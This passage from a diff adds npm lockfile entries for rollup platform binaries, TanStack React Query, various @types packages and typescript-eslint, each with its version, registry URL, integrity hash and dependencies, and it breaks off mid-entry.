"freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.53.2.tgz", + "integrity": "sha512-ClAmAPx3ZCHtp6ysl4XEhWU69GUB1D+s7G9YjHGhIGCSrsg00nEGRRZHmINYxkdoJehde8VIsDC5t9C0gb6yqA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.53.2.tgz", + "integrity": "sha512-EPlb95nUsz6Dd9Qy13fI5kUPXNSljaG9FiJ4YUGU1O/Q77i5DYFW5KR8g1OzTcdZUqQQ1KdDqsTohdFVwCwjqg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.53.2.tgz", + "integrity": "sha512-BOmnVW+khAUX+YZvNfa0tGTEMVVEerOxN0pDk2E6N6DsEIa2Ctj48FOMfNDdrwinocKaC7YXUZ1pHlKpnkja/Q==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.53.2.tgz", + "integrity": "sha512-Xt2byDZ+6OVNuREgBXr4+CZDJtrVso5woFtpKdGPhpTPHcNG7D8YXeQzpNbFRxzTVqJf7kvPMCub/pcGUWgBjA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.53.2.tgz", + "integrity": "sha512-+LdZSldy/I9N8+klim/Y1HsKbJ3BbInHav5qE9Iy77dtHC/pibw1SR/fXlWyAk0ThnpRKoODwnAuSjqxFRDHUQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.53.2.tgz", + "integrity": "sha512-8ms8sjmyc1jWJS6WdNSA23rEfdjWB30LH8Wqj0Cqvv7qSHnvw6kgMMXRdop6hkmGPlyYBdRPkjJnj3KCUHV/uQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.53.2.tgz", + "integrity": "sha512-3HRQLUQbpBDMmzoxPJYd3W6vrVHOo2cVW8RUo87Xz0JPJcBLBr5kZ1pGcQAhdZgX9VV7NbGNipah1omKKe23/g==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.53.2.tgz", + "integrity": "sha512-fMjKi+ojnmIvhk34gZP94vjogXNNUKMEYs+EDaB/5TG/wUkoeua7p7VCHnE6T2Tx+iaghAqQX8teQzcvrYpaQA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.53.2.tgz", + "integrity": "sha512-XuGFGU+VwUUV5kLvoAdi0Wz5Xbh2SrjIxCtZj6Wq8MDp4bflb/+ThZsVxokM7n0pcbkEr2h5/pzqzDYI7cCgLQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.53.2.tgz", + "integrity": "sha512-w6yjZF0P+NGzWR3AXWX9zc0DNEGdtvykB03uhonSHMRa+oWA6novflo2WaJr6JZakG2ucsyb+rvhrKac6NIy+w==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.53.2.tgz", + "integrity": "sha512-yo8d6tdfdeBArzC7T/PnHd7OypfI9cbuZzPnzLJIyKYFhAQ8SvlkKtKBMbXDxe1h03Rcr7u++nFS7tqXz87Gtw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.53.2.tgz", + "integrity": "sha512-ah59c1YkCxKExPP8O9PwOvs+XRLKwh/mV+3YdKqQ5AMQ0r4M4ZDuOrpWkUaqO7fzAHdINzV9tEVu8vNw48z0lA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.53.2.tgz", + "integrity": "sha512-4VEd19Wmhr+Zy7hbUsFZ6YXEiP48hE//KPLCSVNY5RMGX2/7HZ+QkN55a3atM1C/BZCGIgqN+xrVgtdak2S9+A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.53.2.tgz", + "integrity": "sha512-IlbHFYc/pQCgew/d5fslcy1KEaYVCJ44G8pajugd8VoOEI8ODhtb/j8XMhLpwHCMB3yk2J07ctup10gpw2nyMA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.53.2.tgz", + "integrity": "sha512-lNlPEGgdUfSzdCWU176ku/dQRnA7W+Gp8d+cWv73jYrb8uT7HTVVxq62DUYxjbaByuf1Yk0RIIAbDzp+CnOTFg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.53.2.tgz", + "integrity": "sha512-S6YojNVrHybQis2lYov1sd+uj7K0Q05NxHcGktuMMdIQ2VixGwAfbJ23NnlvvVV1bdpR2m5MsNBViHJKcA4ADw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.53.2.tgz", + "integrity": "sha512-k+/Rkcyx//P6fetPoLMb8pBeqJBNGx81uuf7iljX9++yNBVRDQgD04L+SVXmXmh5ZP4/WOp4mWF0kmi06PW2tA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@socket.io/component-emitter": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", + "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==" + }, + "node_modules/@standard-schema/spec": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.0.0.tgz", + "integrity": "sha512-m2bOd0f2RT9k8QJx1JN85cZYyH1RqFBdlwtkSlf4tBDYLCiiZnv1fIIwacK6cqwXavOydf0NPToMQgpKq+dVlA==" + }, + "node_modules/@standard-schema/utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz", + "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==" + }, + "node_modules/@tanstack/query-core": { + "version": "5.90.7", + "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.90.7.tgz", + "integrity": "sha512-6PN65csiuTNfBMXqQUxQhCNdtm1rV+9kC9YwWAIKcaxAauq3Wu7p18j3gQY3YIBJU70jT/wzCCZ2uqto/vQgiQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + } + }, + "node_modules/@tanstack/query-devtools": { + "version": "5.90.1", + "resolved": "https://registry.npmjs.org/@tanstack/query-devtools/-/query-devtools-5.90.1.tgz", + "integrity": "sha512-GtINOPjPUH0OegJExZ70UahT9ykmAhmtNVcmtdnOZbxLwT7R5OmRztR5Ahe3/Cu7LArEmR6/588tAycuaWb1xQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + } + }, + "node_modules/@tanstack/react-query": { + "version": "5.90.7", + "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.90.7.tgz", + "integrity": "sha512-wAHc/cgKzW7LZNFloThyHnV/AX9gTg3w5yAv0gvQHPZoCnepwqCMtzbuPbb2UvfvO32XZ46e8bPOYbfZhzVnnQ==", + "dependencies": { + "@tanstack/query-core": "5.90.7" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "react": "^18 || ^19" + } + }, + "node_modules/@tanstack/react-query-devtools": { + "version": "5.90.2", + "resolved": "https://registry.npmjs.org/@tanstack/react-query-devtools/-/react-query-devtools-5.90.2.tgz", + "integrity": "sha512-vAXJzZuBXtCQtrY3F/yUNJCV4obT/A/n81kb3+YqLbro5Z2+phdAbceO+deU3ywPw8B42oyJlp4FhO0SoivDFQ==", + "dependencies": { + "@tanstack/query-devtools": "5.90.1" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "@tanstack/react-query": "^5.90.2", + "react": "^18 || ^19" + } + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + } + }, + "node_modules/@types/d3-array": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", + "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==" + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==" + }, + "node_modules/@types/d3-ease": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", + "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==" + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", + "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-shape": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", + "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", + "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==" + }, + "node_modules/@types/d3-timer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", + "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==" + }, + "node_modules/@types/debug": { + "version": "4.1.12", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.12.tgz", + "integrity": "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "license": "MIT" + }, + "node_modules/@types/estree-jsx": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz", + "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==", + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/mdast": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", + "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==" + }, + "node_modules/@types/node": { + "version": "24.10.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-24.10.0.tgz", + "integrity": "sha512-qzQZRBqkFsYyaSWXuEHc2WR9c0a0CXwiE5FWUvn7ZM+vdy1uZLfCunD38UzhuB7YN/J11ndbDBcTmOdxJo9Q7A==", + "dev": true, + "license": "MIT", + "optional": true, + "peer": true, + "dependencies": { + "undici-types": "~7.16.0" + } + }, + "node_modules/@types/react": { + "version": "19.2.2", + "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.2.tgz", + "integrity": "sha512-6mDvHUFSjyT2B2yeNx2nUgMxh9LtOWvkhIU3uePn2I2oyNymUAX1NIsdgviM4CH+JSrp2D2hsMvJOkxY+0wNRA==", + "license": "MIT", + "dependencies": { + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-dom": { + "version": "19.2.2", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.2.tgz", + "integrity": "sha512-9KQPoO6mZCi7jcIStSnlOWn2nEF3mNmyr3rIAsGnAbQKYbRLyqmeSc39EVgtxXVia+LMT8j3knZLAZAh+xLmrw==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^19.2.0" + } + }, + "node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==" + }, + "node_modules/@types/use-sync-external-store": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz", + "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==" + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.46.3.tgz", + "integrity": "sha512-sbaQ27XBUopBkRiuY/P9sWGOWUW4rl8fDoHIUmLpZd8uldsTyB4/Zg6bWTegPoTLnKj9Hqgn3QD6cjPNB32Odw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/regexpp": "^4.10.0", + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/type-utils": "8.46.3", + "@typescript-eslint/utils": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", + "graphemer": "^1.4.0", + "ignore": "^7.0.0", + "natural-compare": "^1.4.0", + "ts-api-utils": "^2.1.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^8.46.3", + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", + "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.46.3.tgz", + "integrity": "sha512-6m1I5RmHBGTnUGS113G04DMu3CpSdxCAU/UvtjNWL4Nuf3MW9tQhiJqRlHzChIkhy6kZSAQmc+I1bcGjE3yNKg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", + "debug": "^4.3.4" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.46.3.tgz", + "integrity": "sha512-Fz8yFXsp2wDFeUElO88S9n4w1I4CWDTXDqDr9gYvZgUpwXQqmZBr9+NTTql5R3J7+hrJZPdpiWaB9VNhAKYLuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.46.3", + "@typescript-eslint/types": "^8.46.3", + "debug": "^4.3.4" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.46.3.tgz", + "integrity": "sha512-FCi7Y1zgrmxp3DfWfr+3m9ansUUFoy8dkEdeQSgA9gbm8DaHYvZCdkFRQrtKiedFf3Ha6VmoqoAaP68+i+22kg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.46.3.tgz", + "integrity": "sha512-GLupljMniHNIROP0zE7nCcybptolcH8QZfXOpCfhQDAdwJ/ZTlcaBOYebSOZotpti/3HrHSw7D3PZm75gYFsOA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.46.3.tgz", + "integrity": "sha512-ZPCADbr+qfz3aiTTYNNkCbUt+cjNwI/5McyANNrFBpVxPt7GqpEYz5ZfdwuFyGUnJ9FdDXbGODUu6iRCI6XRXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3", + "@typescript-eslint/utils": "8.46.3", + "debug": "^4.3.4", + "ts-api-utils": "^2.1.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.46.3.tgz", + "integrity": "sha512-G7Ok9WN/ggW7e/tOf8TQYMaxgID3Iujn231hfi0Pc7ZheztIJVpO44ekY00b7akqc6nZcvregk0Jpah3kep6hA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.46.3.tgz", + "integrity": "sha512-f/NvtRjOm80BtNM5OQtlaBdM5BRFUv7gf381j9wygDNL+qOYSNOgtQ/DCndiYi80iIOv76QqaTmp4fa9hwI0OA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/project-service": "8.46.3", + "@typescript-eslint/tsconfig-utils": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", + "debug": "^4.3.4", + "fast-glob": "^3.3.2", + "is-glob": "^4.0.3", + "minimatch": "^9.0.4", + "semver": "^7.6.0", + "ts-api-utils": "^2.1.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.46.3.tgz", + "integrity": 